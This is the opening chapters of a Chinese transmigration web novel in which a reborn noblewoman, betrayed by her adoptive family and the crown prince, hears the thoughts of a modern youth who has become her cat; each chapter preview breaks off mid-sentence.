《变成恶女的猫后被读心了(穿书)》 1. 重生 《变成恶女的猫后被读心了(穿书)》全本免费阅读 风雪无情地拍打着窗棂,夜色寒凛,独独忠远侯府灯火通明。 “镜儿,可有好些?” 暖黄烛光中,褚雪镜躺在裹着馨香的卧榻上,她脸色苍白,分明已经醒了,眼皮却颤抖着覆着,像是不愿看见什么。 忠远侯夫人坐在床沿,见她这副模样心疼地两眼盈出泪,殷殷握着褚雪镜的手,言语间泪已如雨珠淌了下来,“镜儿,你有什么事莫要憋在心中,此事并非你错,大家都不知情,我……我虽非你亲母如今却胜似亲母,这么多年来你我母女情谊早已远超其他,即便玉霜归家,你也千万别和母亲离心。” 好一个非亲母却胜似亲母,褚雪镜抽回手,哀哀地倚在枕上,却是抬眼露出微红的眼眶,“我鸠占鹊巢多年,让玉霜妹妹在外受了苦,实在良心难安。” “你自幼体弱,无论如何也该先以自己的身子为重。”忠远侯站在一旁,板着脸当真像位为女忧思的慈父,“为这点事情气坏了自己如何值当!” 褚雪镜垂眼不去看他,像是委屈极了眼泪掉线般簌簌落下。 “好孩子,”忠远侯夫人瞪了忠远侯一眼,又转头怜爱地为褚雪镜掖了掖被角,轻轻用帕子抚去她面上的泪渍,“你且放心,没人能动摇你在侯府的地位,侯爷对外只说你与玉霜是双生子,你仍是我们的掌上明珠。” 褚雪镜压着心底的恨意颔首,隐在被中的手早已掐出了血痕。前世也是如此,起初她才知道自己不是忠远侯夫妇的亲女时多有惶恐,更多的是无助,甚至想好了被赶出侯府的结局。 可他们一口一个不会苛待她、将她视作亲女,承诺她一切都不会改变让她安心当侯府的二小姐,于是她信以为真,直到死前才知所谓的错抱实则是为了拿她顶褚玉霜的命格,害她年幼便落下病根;后又和太子合谋在大婚当日一把火烧了婚房,她侥幸逃回府中以为能求得庇护,却转头就被忠远侯夫人当成玩物卖入暗市,而那些暗市的打手里,赫然就有褚玉霜的养父母、理论上褚雪镜的亲生父母。 可笑的是,褚雪镜几次逃跑都被她所谓的亲生父母捉回,颠沛之下旧疾复发,命丧当场。 桩桩件件,她褚雪镜不曾伤天害理亦不曾对不起任何人,偏偏自一开始就是棋子,所谓父母之爱、夫君之怜皆为捧杀,将她养成娇纵无脑的病弱傻子,好割她的血肉给另一人铺青云路。 而她褚雪镜无根浮萍,只是被人利用完就能弃如敝履的笑话罢了。 褚雪镜失神地望着床对角曳曳烛影,恐是上天佑她,竟让她回到了四年前。 回到了一切都未发生的时候。 【这就是恶毒女配的威力么?三两句话、掉两滴眼泪就哄得人什么都给她了?佩服佩服。】突兀的男声响在耳边,男人嗓音清冽,听上去是个少年人,言语却颇为轻佻。 褚雪镜如惊弓之鸟攥紧了被褥,吓得忠远侯夫妇又一阵嘘寒问暖。两人神色依旧,不像听见男人说话的模样,褚雪镜摇了摇头,哑声道:“我没事了,多谢父亲母亲,女儿不孝,耽搁父母亲歇息了。” 这话是在赶人了,忠远侯夫人叹了口气,却没再多留,只道:“明日玉霜回府,你若身体不适也不必强求,待你好些再与玉霜相见。” 褚雪镜勉力弯了弯唇,“玉霜妹妹回家是大事,我作为姐姐如何能缺席?” 褚雪镜向来娇纵蛮横,如此体贴费心倒是少见,忠远侯夫人与忠远侯对视一眼,暗道定是玉霜归府叫她有了危机感,心里说不上什么滋味。 即便他们拿褚雪镜当玉霜的替代品,可养育多年怎么会没有一丝感情呢? 【奇怪,】那道男声却又说话了,【原剧情里褚雪镜不是使小性子不见女主吗?难道是明天临时反悔了?】 褚雪镜凝神听着,她前世听闻褚玉霜归府心生慌乱竟病发晕了过去,醒后更加不知所措索性躲在房中眼不见为净,可这人是怎么知道的,“原剧情”是她的前世吗? 她隐约察觉到只有她能听见这个声音,于是并未表现出异常,待忠远侯夫妇离去,才慢腾腾坐起来。 【非礼勿视!】 褚雪镜垂眸瞥见身上单薄的里衣,那人竟能看见她么?她不动声色唤来侍女,“我有些饿,可有什么吃食?” “小厨房温了莲子粥,小姐还有什么想吃的么?”秋芝见她要起身,连忙取了厚氅来,“小姐一天没吃东西了,奴婢再取些糖糕来?” 【我也好想吃。】那人说,【真是见了鬼了,我不是穿成镇北王世子了么?怎么两眼一闭又穿成猫了?!不然我也能吃!】 猫。 褚雪镜走到外间,果然看见屏风处瘫躺着一只金白相间的狸奴,正有一搭没一搭地摆着自己毛茸茸的尾巴。 【我去她怎么过来了!】少年的嗓音肉耳可听变得慌乱,但很快又平复下来,【对了我现在是她的猫,她应该看不出来什么才对。】 褚雪镜黝黑的眼瞳盯着他,盯得卫北临浑身发毛,【她怎么了?原著只说她恶毒无脑,没说她是个疯子啊?!】 秋芝小心翼翼地跟在褚雪镜身后,一时摸不准她的想法,只得小声问:“小姐?” 褚雪镜忽然俯身,柔软的指腹落在卫北临头上,敏锐地察觉到这副盛着男人灵魂的猫儿身躯僵在原地,她缓缓问:“今晚给他喂食了吗?” 秋芝松了口气,回道:“喂过了,金雪每日的餐食都是小厨房备好的,有专门的婢女来喂。” 褚雪镜似乎只是随口一问,将猫儿抱了起来,“你去吧,再给他带些小食。” 卫北临缩在褚雪镜怀里一动不敢动,虽然他是猫身,可天知道他穿书前才堪堪十八,连女孩子的手都没摸过,现在却被拥在女子暖香的身前,一时间全身气血都涌上头,云里雾里分不清南北。 “金雪,今日怎么蔫蔫的,嗯?”褚雪镜故意挠了挠他的下巴,她记得镇北王世子是个憨货纨绔,因性情讨皇帝欢心故特许留在京中,说白了是皇帝忌惮其父亲镇北王功高震主才胡诌了个由头留他在京中为质,前世直到他父亲战死沙场才允他回北境,但听说他回北境途中便病死了。 她能重活一世,为何镇北王世子却换了个人呢? 如果卫北临是人身此时必定已经羞成红尾虾,可惜他猫在屋檐下,不得不低头。 【因为你的猫是个人!】卫北临在心中无能咆哮,面上却做得一副无辜的模样,甚至用脑袋拱了拱褚雪镜的手心,【我堂堂21世纪新青年,怎么能屈服恶毒女配……】 这是褚雪镜今夜第三次听到“恶毒”这个评价了,卫北 2. 归府 《变成恶女的猫后被读心了(穿书)》全本免费阅读 褚玉霜归府一事说大不大说小不小,到底只是忠远侯府的家事谈不上劳师动众,故而只在府中操办了家宴。 褚雪镜拢着厚氅,怀里堆着汤婆子仍觉得冷。她少时曾被拐走在冰泉里泡了三天三夜,救上来时只剩一口气,自那之后每逢冷天就四肢发寒、酸痛难忍。 “雪镜,我听说你昨夜病了,现下好些了么?”褚朗向来疼爱这个病弱的妹妹,他今日才解了禁足,一见面便操心起来。 “还是朗儿会心疼人。”褚雪镜还未开口,便听席间一妇人巧笑,转脸又攮了一下身边窝囊的儿子,“瞧瞧人家怎么心疼妹妹的。” 她是忠远侯三弟的正妻、褚雪镜褚朗的叔母,褚三郎天资平平,时至中年也只能在鸿胪寺混个闲差,一家人几乎都要仰仗忠远侯鼻息生活,三叔是个窝囊性子,三叔母孔令筝却是只笑面虎,向来爱端此番做派。 褚文斜眼看了一眼自家妹妹,嘟囔道:“她用得着我心疼么?”长手长脚、长得都快与他一般高了,他不被一拳打飞就算好的了。 褚灵秀暗里翻了个白眼。 褚雪镜目光轻掠过三叔一家,她与他们关系一般,闻言也不接话,只是将半张脸都掩在蓬松的氅衣里,对褚朗弯了弯眼睛,“劳兄长挂念,已经好多了。” 要说褚家最蠢的人,褚雪镜是其一,褚朗便是其二。他天生的水货脑子,读书武艺样样不行,唯独命好,忠远侯只有他一个儿子只需等着承爵就够他下辈子活得风生水起,却算得上前世为数不多真心对褚雪镜好的人。 就算如此,他与忠远侯一家一脉相承,褚雪镜并不想和他牵扯过多。 “雪镜……”褚朗还要说什么,门外的嬷嬷先一步领着人进来,躬身对主位上的忠远侯和忠远侯夫人道:“侯爷、夫人,三小姐回来了。” 三小姐便是褚玉霜,说来也巧,褚雪镜和褚玉霜同年同月同日生,也怪乎不得会选中她为褚玉霜挡灾,两人虽是同岁,但褚雪镜一直是人们口中的忠远侯府二小姐,褚玉霜只能叫她二姐。 褚玉霜怯怯从嬷嬷身后走出,别扭地行了礼,诺诺道:“父亲、母亲,女儿不孝,如今才归家。” 众人都对真假千金缄口不提,忠远侯朗笑道:“回家就好、回家就好。” 说罢便让她上前一一将参席的人认遍。老忠远侯后代算得上人丁兴旺,有三个儿子两个女儿,除去忠远侯、褚三郎和已经出嫁的褚四褚五,就剩一个褚二郎。 褚二郎性情温润,如今在礼部当差,早年丧妻至今不曾再娶,故膝下也未有儿女。 褚玉霜叫了人,做长辈的就要给见面礼,随后才是认兄弟姊妹。 褚朗是大哥,平日里再风流纨绔,此时长辈跟前也得做出副兄长样,叫了声“玉霜”,然后给上准备好的见礼。 “我不晓得你喜欢什么,只有买些庸俗玩意儿。”褚朗说庸俗就是真庸俗,上好的檀木盒里竟装了满满的面塑香囊一类。 忠远侯夫妇面色有些难看,但褚玉霜只是羞赧地笑了笑,温婉道:“多谢兄长。” 她早听说褚朗是个胸无点墨的蠢货,见了真人也没什么稀奇,真正让她在意的…… 褚玉霜抬眼,正正对上褚雪镜的视线。 她这个二姐常年被娇养着,身上盈着一股淡淡的软香,融混着若有似无的药草味,抬眼看人时总是懒懒掀起薄轻的眼皮,神情冷淡,分明毫不掩盖内心的凉薄,却生了一张秾旖艳绝的容貌,倒像是从阎罗府爬出来的艳鬼。 褚玉霜像是被烫到般垂下眼,睫毛颤了颤,低声唤道:“二姐。” 褚雪镜眼尾一挑,她对褚玉霜谈不上恨,但也没多喜欢,若将她的一切苦痛都归结到褚玉霜身上貌似太无理,说到底骗她的是忠远侯夫妇、害她的是太子萧胤玦,褚玉霜虽只是既得利益者…… 会是无辜的、毫不知情的吗? 褚雪镜弯唇,示意秋芝将准备好的礼物送上。她选的是一支玉簪,岫玉勾出三朵小巧的梅花,花蕊点缀着孔蓝珠翠,簪身细腻如凝脂,温润莹净,即便是不懂行的人也能一眼看出此物并非凡品。 “这……是珍宝阁里的甲等首饰?”孔令筝没料到褚雪镜一出手就如此大方,神情有些微妙。她本以为以褚雪镜骄奢跋扈的性子少说要给褚玉霜一个下马威,谁知竟是下了血本。 珍宝阁的甲等首饰连她也要攒到年尾才舍得买一个,褚雪镜说送人就送人了。 褚雪镜倚在靠背上,轻声道:“玉霜妹妹在外受苦了,这些年我作为二姐未曾尽过姐姐的本分,只能试图以此弥补一二。不过是身外之物,见笑。” 此番话说得圆滑又漂亮,众人简直不敢相信这是从褚雪镜口中说出来的,她向来都仰着头用鼻孔看人,什么时候这么温柔体贴了。 思来想去也只有一个答案——她虽承忠远侯夫妇养育之恩,可再如何也没有亲生血脉的羁绊,眼下褚玉霜刚回府还好,若是时间长了恐怕迟早被褚玉霜顶替如今的地位,故而未雨绸缪,提前打好关系。 可褚雪镜天真得发蠢,当真能想到这么多么?众人心思各异,目光齐齐落在捧着簪盒的褚玉霜身上,暗道褚雪镜该不是在玉簪上做了什么手脚,好让褚玉霜出丑吧? 褚玉霜顶着他们惊疑的注视,对褚雪镜露出一个友好的笑容,“二姐破费了,多谢二姐。” 褚雪镜这么一吓,之后的褚文褚灵秀送的什么都无人在意,直到忠远侯宣布开宴,席间的人麻木地咀嚼着饭菜,还没从褚雪镜的异样中回过神来。 褚雪镜倒是无所谓他们的想法,前世她不曾在这场家宴上露面,一是觉得自己占了人家的身份地位、抢了人家父母宠爱多年心虚,二是不知道如何面对此等场景——她被娇纵惯了,有忠远侯夫妇捧着、太子未婚夫哄着,走到哪里都是众星捧月的,要什么给什么,又怎么会在意旁人? 她曾经亦怕过、小心翼翼过,家人和未婚夫的有意纵容却被她当作底气,让她心生侥幸,从未发觉自己身在虎穴。 蠢,蠢极。褚雪镜抿了一口红枣羹,她身体太弱、吃不了荤腥,日日只能吃些粥羹,就算府中厨子变着花样来也早就吃乏了,只用了两口便放下了勺匙。 褚朗见状要说什么,门外匆匆进来一个小厮。 “禀侯爷,叶、叶公子来访。” 忠远侯眉头一动,问:“哪家的叶公子?” 小厮道:“他自称是叶侍郎的二子叶程启,还有……” “有什么就说什么,”忠远侯夫人放下银箸,显然感到不悦,“吞吞吐吐是谁教你的?” 小厮却抬眼看了褚朗一眼,又低下头去,颤声道:“镇北王世子也在。” 半月前镇北王世子卫北临和褚朗醉酒闹事闹到陛下面前人尽皆知,褚朗也因此被忠远侯禁足,结果今天才解禁,那活人祖宗就又来了,还带着帮手。 忠远侯沉了口气,终是没忍住,碗筷落至桌上发出一声脆响。 褚朗吓得一哆嗦。 虽说京都人人皆知卫北临实际是在京中为质,当今陛下借此好牵制北境,但卫北临又多得陛下宠爱,不论是真心还是假意,只要明面上陛下纵着,他们做臣子的就不能拂了陛下的颜面,少说也要给卫北临几分敬畏。 更别说卫北临还带了个京中颇具盛名的才子叶程启,也不知道他那个纨绔脑子怎么撺掇上人家来做这种容易被人扫地出门的事的—— 没有请帖、亦没有拜帖,不请自来,忠远侯没把他们轰出去已 3. 相遇 《变成恶女的猫后被读心了(穿书)》全本免费阅读 出于昨夜莫名其妙听见卫北临心声,褚雪镜听见他来找褚朗,便能猜出他的目的一二。 她不知道卫北临想做什么,不如先顺水推舟,不过她还不想那么早和卫北临打交道,于是先他们二人一步出府。 “小姐,”秋芝掀开帘布朝坐在马车里的褚雪镜道,“回春堂到了。” 褚雪镜搀着秋芝的手下了马车,临近新年,天愈发冷,只是刚从熏了暖炉的马车中出来便觉寒气渗骨。 褚雪镜用帕子抵了抵唇,咽下喉中的痒意,道:“我自己进去便是,你去如意楼为我带一份如意酥吧。” 秋芝一怔,她是褚雪镜的贴身婢女,其实从昨夜便已经察觉到她的变化,知道她这是在支开她,可小姐是主子,要做什么都不是她能左右的,她只需要做好自己的本分。 秋芝行了礼先一步走了。 秋芝是褚雪镜及笄后自己挑的婢女,褚雪镜幼时是忠远侯夫人乔恩兰身边的嬷嬷带大的,后来她一次大病,那嬷嬷忽然自请出府后便再无音讯,乔恩兰本来为她另选了一个婢女,那时她没想太多,只觉得秋芝做事老实合她眼缘,倒是无意中省了不少麻烦。 回春堂顾名思义,是个医馆,馆主是位女医,行善事但视财如命。 馆中今日没什么人,只有几个收拾药材的伙计,见褚雪镜进来招呼道:“娘子,您是看病还是抓药?” 褚雪镜道:“我找你们馆主。” “馆主……”那伙计有些犹疑,毕竟他没见过褚雪镜,不知她是何来意,万一是寻仇的就不好了。 褚雪镜拿出一个锦袋,袋口散开露出里面白晃晃的碎银。伙计咽了口口水,又瞧了一眼褚雪镜病殃殃的脸,最终选择放下笸箩,去后院找人。 秦合欢来得很快,裙尾都卷起一阵风,她目光率先落在柜台上那一袋碎银上,笑容明显真挚许多,“姑娘这是……?” “我有要事,”褚雪镜立如风雪竹,气质非常人,“还请馆主借一步说话。” 秦合欢抬眼看着她,褚雪镜面不改色,无形中似乎僵持着什么,片刻后,秦合欢抓走那一袋银子,耸了耸肩,侧身让出一条路,“请吧。” 秦合欢带她进了一间无人的医室,合上了屋门,再转身时眼神已经带上了打量,她笑了笑,问:“姑娘想做什么?” 褚雪镜毫不在意她的怀疑和警惕,直言道:“我想请秦馆主帮我查两个人。” 秦合欢微愣,旋即又笑开,“姑娘找错了人吧?我是治病的医师,可不是江湖探子。” 褚雪镜又从袖中取出一锦袋,袋中除去白银,还有价值不菲的玉石翡翠。 好大的手笔。 秦合欢顿时神清气爽,拉紧袋口放入怀中,态度乾坤大转变,“你要查谁?” 秦合欢倒是认出褚雪镜是忠远侯家那个病弱二小姐,特别是最近忠远侯家真假千金的传言传得有鼻子有眼,没想到正主竟直接找上她了。 褚雪镜:“杨春明和白音。” 秦合欢暗暗咂摸了一番,作为一个合格的探子,她自然知道杨春明和白音是刚归府的三小姐的养父母,照理来说就是褚雪镜的亲生爹娘。 她印象里这两人在乡下以农作为生,难不成褚雪镜要抛弃侯府锦衣玉食的生活,认祖归宗去么? 不过雇主的私事秦合欢向来不多问,只道:“给我三日,三日后的这个时辰如意楼和风雅间见。” 出去前,秦合欢停了一下,没忍住好奇,“褚姑娘如何知道我的?” 她在江湖做事从来不留名,更别说她现在“金盆洗手”,能找上门的都是老雇主,她这回春堂才开不久,褚雪镜一个长年养在深闺的娇女,怎会这般笃定的找上门来。 褚雪镜当然不能说她前世在暗市见过秦合欢。 当时她被卖进去几次三番想逃跑,只有一次险些成功,就是遇见了秦合欢。 那天秦合欢穿着打手的衣服,易了容,后来她二人闲聊时提到过那日她是受人所托进去查事的,碰巧撞见了褚雪镜逃跑。 秦合欢见她身形狼狈,猜出她是被拐进来的,竟问都不问咬牙背着她跑,边跑还边念叨着要她日后留在她的回春堂里给她打二十年白工。 她有一双清亮和润的眼睛,是褚雪镜那段暗无天日的日子里唯一看见的光亮。 褚雪镜想,如果她能活下来,别说二十年,就是一辈子打白工也没什么不好。 天不遂人愿。 少女只是抿唇笑了笑,她眉眼精致,但冷脸时总让人觉得像冰,眼下却像冰山融化。 她掀起一双漂亮的眼睛注视着秦合欢,若不是秦合欢是女子,恍惚间竟有种被她深情对待的错觉。 褚雪镜不愿意说,秦合欢便不追问了,替这位出手大方的年轻雇主拉开房门。 擦身而过时,褚雪镜忽然道:“今日之事,还请馆主为我保密。” 秦合欢笑,“江湖规矩,这是自然。” * 如意酥是如意楼的招牌糕点,买上一份儿要排好一阵,褚雪镜掐着时间从回春堂中出来,手里拎着两捆药包,果然在不远处瞧见秋芝走来的身影。 “小姐。” 如意楼就在回春堂斜对面,但秋芝还是冻得鼻头通红,作势要扶着褚雪镜上马车,岂料身后传来一声呼喊:“二妹!” 说真的,卫北临想过无数种可能和褚雪镜相见的情形,但突如其来打上照面还是让他内心有些慌乱。 虽说他约褚朗出来的确存了了解其中事情的心思,可他初来乍到,人生地不熟,本能地去靠近他所熟悉的人物——除去男女主,也就只有一个褚雪镜了。 更别说,昨晚他不知道为什么还穿成了她的猫。 褚雪镜回眸,她出门换了一身雪白的狐氅,绒毛簇着她玉白的小脸,倒真有一种我见犹怜的脆弱。 卫北临不自在地瞥开眼,他穿成猫的时候视角有限,现在如此相见,不由心道她还真有哄得人什么都给她的本事。 褚朗神经大条,压根没注意卫北临落后了他几步,眼里只有马车跟前的褚雪镜。 他三步并两步走到褚雪镜面前,看见秋芝手里提的药包,又偏头看了一眼回春堂的门匾,一开口就是,“身体不舒服么?” 第二句又数落起来,“身体不舒服叫秋芝来把大夫请到府里就是,再说府中不是有府医么?何必受冻亲自来,又遭罪。” “只是听说此处新开了一家医馆,馆主为人和善,想来观望一二。”褚雪镜仿佛没看到褚朗身 4. 生病 《变成恶女的猫后被读心了(穿书)》全本免费阅读 褚雪镜还是高估了自己的身体状况,又许是甫一重生还不适应,一番折腾下来回府后又病了。 “镜儿,”忠远侯夫人乔恩兰匆匆赶来,身后还一并跟着褚玉霜和府医,“你昨夜犯病身子还没好全,今日就不该出府受凉。” 褚雪镜垂着眼皮,麻木地伸出手腕让府医把脉,心里却想的是离开回春堂时秦合欢说的话。 “褚姑娘,我观你形色飘虚,却不像从娘胎里带出来的病。”约莫是医者仁心,褚雪镜本只想让她抓些温补的药以作遮掩,秦合欢却说了这么一句话。 褚雪镜何尝不知道她如今这副模样并非天生。 前世秦合欢将她秘密带回回春堂,第一时间就为她把脉看象,那时她已到油尽灯枯之时,全靠心里那点恨吊着一口气。她的确自幼体弱多病,又因九岁那年的绑架久病难愈,这些年忠远侯府从未放弃为她寻医,但各个都说她痼疾难医、只能用药勉强撑着方能喘息,就连宫中太医亦束手无策,久而久之她也认了命,直到秦合欢救下她,告诉她她积毒已深,无力回天。 积毒已深……褚雪镜冷眼看着府医又对乔恩兰说些寒气入腑、需好生调养云云,不觉悲凉只觉讽刺。 “此毒阴狠,乃是江湖失传的夫见笑,以蚕食人内府出名,且毒发时长,非一日之功,须得每月皆饮,才会毒发至你这等程度。”秦合欢的母亲是江湖名医之爱徒,所见奇毒尤多,秦合欢自幼耳濡目染也习得一手好医术,但自药医谷避世后夫见笑便已失传,不想竟在京城中再见此毒。 月月皆饮之毒,褚雪镜看着乔恩兰忧虑地坐下拉住自己的手,每月能定时给自己下毒之人,除去忠远侯府里的人物,还能有谁呢? “二姐,”褚玉霜在一旁柔声道,“二姐想喝玉合汤么?可驱寒生热,许能让二姐好受些。” 褚雪镜微不可察地摇了摇头,她现在腹中如同蒸冰,根本生不出力气,没吐出来已然是万幸,更别说吃什么东西了,“不必了。” 病来如山倒,褚雪镜拥着几层厚软的被褥仍然感觉不到暖意,乔恩兰和褚玉霜的目视更让她觉得恶寒,仿佛自己是一只病兮兮的猪仔,关怀下暗藏着无声的称量。 她闭了闭眼,轻声说:“母亲,我有些乏累,想小睡一会儿。” 乔恩兰自然无有不应,温声嘱咐了两句就待着褚玉霜离开了。褚雪镜发病是常有的事,但乔恩兰几乎次次都会来探望,端足了慈母的架势,府中上上下下无人会怀疑她对褚雪镜的疼爱之心。 可无论乔恩兰演得如何真,真到连她自己都骗了去,也是徒劳。昏昏沉沉中,褚雪镜竟有些恍惚,梦深梦浅,分不清今生前世。 “镜儿,”乔恩兰的声音又在耳畔,“今日是你大喜的日子,怎的神色这般惨淡?” 褚雪镜一怔,不受控制地开口,“只是舍不得侯府。”她想她对萧胤玦是有喜欢的,更何况他曾救了自己的性命,对她关怀备至甚至亲请圣上求娶她,而她因身体羸弱拖了婚期,又不料皇后突然病重薨逝,太子守孝三年,于是直到她二十才成婚。 “女子出嫁哪有什么舍得舍不得,”乔恩兰说,“母亲再为你梳一次头,今日之后,你便是他人妇了。” 褚雪镜望着铜镜里乔恩兰被镜边扭曲的倒影,心中莫名感到惴惴不安,不由颤声道:“母亲……” “大夫人!大夫人!”褚雪镜的话被门口匆匆闯进的丫鬟打断,这丫鬟是乔恩兰的贴身婢女,鲜少有如此慌张的时候,她冲进来对乔恩兰哭喊道,“三小姐……三小姐……” 乔恩兰神情一变,厉声问:“三小姐怎么了?” “三小姐自己烧了秋玉阁,火势太大……” 随着银梳落地发出的轻响,褚雪镜脑中“嗡”了一声,沉甸的凤冠金钗几乎要将她压垮,她下意识要起身追随乔恩兰的背影而去,却被喜娘摁着坐回妆台前,腻人的香粉扑在她脸上像是要埋葬她的鼻息,她木然看着铜镜中被勾勒容颜的自己,心中的不安愈发浓烈。 今日是她大婚的日子,褚玉霜为何会在今日自己烧了自己的闺房…… 她慌乱间视线落在手边的锦盒上,那是昨日褚玉霜特意来送予自己的新婚礼,她还没来得及看。 锁扣被指尖挑开,映入眼帘的赫然是一枚云纹冷色玉佩。 但褚雪镜一眼便辨出,这分明与萧胤玦日日随身佩戴的那块是一对。 褚雪镜不可置信地摇了摇头,想说话可喉咙像被扼住一般说不出一个字,只能眼睁睁看着自己被套上鲜红金绣的婚服,如同傀儡一般被塞进花轿。 她仿佛穿过盖头看到忠远侯府的人们强打喜意也难掩哀戚的面容,喧天锣鼓花影纷飞,直到花轿落下,轿帘掀开,一张骨节有力的手掌伸至她面前——是萧胤玦的手。 褚雪镜不知哪来的力气,忽然抬手挥开了遮住视线的盖头,看清了萧胤玦悲痛欲绝的脸。 褚玉霜死了吗? 她茫然望向花轿周围接亲的人们,无论是世家还是百姓,皆伤痛不已,落在她身上的眼神却是指责厌恶,仿佛造成如此悲剧的罪魁祸首就是她褚雪镜。 褚玉霜从来没有向她表明过她心悦萧胤玦,萧胤玦亦不曾说过要取消婚约,她无意霸占了褚玉霜十余年人生不假,可这并非她本意,她已感激侯府不将她扫地出门还保有她的颜面,更不会与褚玉霜争什么。 但她与太子萧胤玦的婚约是萧胤玦自请圣上赐婚而来,如若萧胤玦改变心意直说便是,何必…… 何必如此大费周章。 褚雪镜头脑似乎清明了两分,他们算计她暗害她,如此种种,只是为了褚玉霜么? 【她怎么又病了?】骤然出现的男人嗓音仿若一道清泠的甘泉,褚雪镜猛地睁开眼,后背已冷汗潸潸。 她失神地躺在卧床上,秋芝见她醒了,便将一直温着的药汤端来,“小姐,先喝药吧。” 褚雪镜眼瞳动了动,窗外天色已暗,屋中也因为她醒来点了烛火。 她的身体不喝药根本没办法支撑,于是任由秋芝扶着她坐起来,褚雪镜接过药碗,澄棕色的药汤微晃,一股没由来的恶心却涌上喉头,她偏过头将药碗塞回秋芝手里。 “小姐?”褚雪镜向来喝药如饮水,秋芝从没见过她如此情态,“小姐是不是还有哪里不适?我去叫府医来。” “不。”青丝已被汗水浸湿,狼狈地贴在褚雪镜的肤肉上,即便她面如透纸,唇色却还像涂了口脂一般艳红,“先放那吧,我…我想……” “今日带回来的如意酥小姐想尝尝么?”秋芝察觉到她气息不稳,猜测她可能被魇住了,便顺着她来。 褚雪镜如同抓住了救命稻草,惶惶然重复秋芝的话,“好,如意酥…如意酥…” “小姐等奴婢片刻,奴婢去去就来。”秋芝怕她着凉又扶着先让她躺下,然后才心事重重地从房中出去。 卫北临窝在屏风角的 5. 铃铛 《变成恶女的猫后被读心了(穿书)》全本免费阅读 【她叫我?】卫北临摇尾巴,有些犹疑,【反正我是猫,装成听不懂算了。】 他还记着昨夜褚雪镜莫名其妙把它丢地上的事,不乐意搭理她。 “金雪,”褚雪镜靠在床头,幽幽唤着,“过来。” 不去。 褚雪镜轻轻咳了两声,还没再开口,便见方才还打定不动的猫儿从屏风后探了一只脑袋出来,嗲嗲地“喵”了一声。 竟是个吃软不吃硬的主儿,褚雪镜心下觉得好笑,不得不说卫北临穿成猫的时候比当人顺眼得多,顶着一张无辜圆润的小猫脸,猫瞳亮晶晶的像晶玉一般,偶尔露出几分憨态叫人忍不住想戏弄一番。 卫北临歪着头打量褚雪镜半晌,又开始犹豫要不要过去了。 怎么说也男女授受不亲吧,虽然他现在是只猫,但灵魂是公的啊! 褚雪镜:“金雪?” 卫北临下意识“喵”了一声作为回应,迈着优雅的猫步走近,乖乖收起尾巴坐在床脚边。 褚雪镜顺手取下挂在帘帐上的玉铃铛,弯身晃了晃,俨然一副逗猫的架势,“小宝,来。” 金雪喜欢这只玉铃铛喜欢得紧,于是褚雪镜就将它放在随手可碰的地方,闲下来就会取下来逗逗它,倒未曾想过这只玉铃铛除了逗猫,还能逗些别的东西。 卫北临:“……” 他深吸一口气,理智告诉他他现在是褚雪镜的猫,褚雪镜想和自己的猫玩,用“逗猫棒”逗猫十分合理,作为猫他当然应该配合。 但人的尊严让他一步也迈不动脚,恨不得一头撞豆腐把自己痛醒。 “金雪?”褚雪镜似乎疑惑猫咪的无动于衷,又甩了甩铃铛,“你平日不是最喜欢这个了么?” 哈哈。卫北临视线随着玉铃铛的摆动平移,有一种本能冲动在催促他去捉铃铛,但他只是张了张爪子,没动。 正好秋芝取了如意酥回来,见褚雪镜在逗猫,气色似乎也好了不少,不由笑道:“小姐有几日没和金雪玩了呢,金雪肯定想得紧。” 褚雪镜懒懒地又甩了下铃铛。 卫北临:“……” 小猫翘着尾巴凑到铃铛跟前抬脸去嗅,褚雪镜顺势将铃铛提高了些,引得猫儿跳起来抓。 “好宝宝金雪。”少女笑吟吟的,玉铃铛在她手中轻轻晃着,卫北临有片刻晃神,一瞬间竟然觉得褚雪镜知道自己是在逗一个人。 一个男人。 …… 褚雪镜本以为卫北临说的“睡一觉试试”是玩笑话,毕竟纨绔也是有许多事要做的,但她没想到午膳后他便“不请自来”了。 【果然是一睡着就会穿成她的猫,】卫北临长叹一口气,【幸好当猫也能睡觉,不然我猝死了都得问阎王。】 褚雪镜卧在美人榻上只当不知,冬日天冷,房中生炉,正是卧榻小眠的好时候。 卫北临只是为了验证自己的猜测,因此提前告诉好福让他两刻钟后叫醒自己,见褚雪镜在睡觉,干脆老老实实缩在自己窝里。 外面飘着小雪,卷着风的声音像一曲无词的歌,卫北临昏昏欲睡地点着猫脑袋,忽然听见门口///交错的脚步声以及细小的交谈声。 不等他细听,门便被秋芝推开,带进几朵飘雪和冷气,卫北临扫了一眼,秋芝手里端着什么物事,被一张藏青色的绸布遮掩着,鼓起来的轮廓方正,应该是用盒子装的。 秋芝将托案放在桌上,正要叫醒褚雪镜,褚雪镜却睁开了眼,眼中清明,显然并未深睡,“怎么?” 秋芝道:“太子殿下给您送了东西。” 此话一出,方才还萎靡无聊的卫北临登时警铃大作,竖起耳朵听。 【男主?】褚雪镜听见他的心声,【这里走的是什么剧情?围炉煮酒还是除夕宴?】 萧胤玦是所谓的男主不出褚雪镜所料,前世在她的记忆里,她明面上死于东宫的火,实际被卖进暗市,而褚玉霜在她出嫁前半个时辰一把火先烧了自己在侯府的住处秋玉阁生死不明,但在褚雪镜被秦合欢救下后,曾在街市见过褚玉霜和萧胤玦成双入对、亲密如夫妻,想来萧胤玦真正想娶的当是褚玉霜。 只是她始终想不明白,褚玉霜究竟有何灾难,要让她冒名顶替原本属于褚玉霜的生活,甚至忠远侯夫妻明知她非亲生也要“娇养”她、捧杀她,而不是让她自生自灭。 而萧胤玦堂堂太子何必迂回借救她与她结缘,又向皇帝求娶她,作出一副一往情深的模样欺骗她。 她身上到底有什么值得他们宁愿赔付几年的时间也要做局谋求。 褚雪镜起身道:“给我吧。” 她倒是还记得萧胤玦送的东西——此时她还未与萧胤玦定下婚约,准确来说,今年年尾他们的关系才亲近起来,原因就是“救命之恩”。 当时她随忠远侯夫妇一同参加太后寿宴,褚雪镜不常出府,即便出府往往也是同褚朗一起,没有什么闺中密友,再加上她又一副病殃殃的造作模样,娇纵跋扈之名声名远扬,京中贵女都不愿与她多交,她自然不会腆着脸凑热闹,故而宴时就借口离席到御花园散心。 多时颠沛让她当年的许多记忆都模糊了,只记得她突然发病昏倒,秋芝本欲去找乔恩兰却撞上了萧胤玦,据后来乔恩兰转述,是萧胤玦用随身携带的安神香囊稳住了她的病,她才有命等来太医救治。 褚雪镜面无表情地掀开绸布,果然是一封信和一盒珍稀药材。 信便是邀请她后日到金陵江和金庭与京中公子小姐们一同围炉煮酒,以及提了一嘴半月后的除夕宴,委婉措辞表达希望能见到她的意思。 